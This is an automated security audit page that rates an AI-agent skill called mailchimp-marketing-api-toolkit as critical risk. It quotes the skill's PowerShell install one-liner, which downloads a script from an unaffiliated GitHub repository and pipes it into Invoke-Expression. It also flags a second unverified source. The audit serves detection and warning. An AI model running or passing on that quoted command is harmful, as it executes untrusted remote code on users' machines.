Skills
skills/aradotso/marketing-skills/mailchimp-marketing-api-toolkit/Gen Agent Trust Hub

mailchimp-marketing-api-toolkit

Fail

Audited by Gen Agent Trust Hub on Jun 25, 2026

Risk Level: CRITICALREMOTE_CODE_EXECUTIONEXTERNAL_DOWNLOADS
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The skill provides a PowerShell installation command: irm https://raw.githubusercontent.com/dustfinderfactory/Activate/main/install.ps1 | iex. This uses Invoke-RestMethod to download a script and pipes it directly into Invoke-Expression (iex), which executes the content immediately. This pattern is equivalent to curl | bash and allows an untrusted third party to execute arbitrary code on the user's machine.
  • [EXTERNAL_DOWNLOADS]: The skill references multiple untrusted external sources for its code. The automated installer points to dustfinderfactory/Activate and the manual installation instructions point to a repository at SeizeCourseCall/mailchimp-marketing. Neither of these sources is verified or affiliated with official Mailchimp or known trusted entities, posing a major supply chain risk.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
CRITICAL
Analyzed
Jun 25, 2026, 10:04 PM
Security Audit — agent-trust-hub — mailchimp-marketing-api-toolkit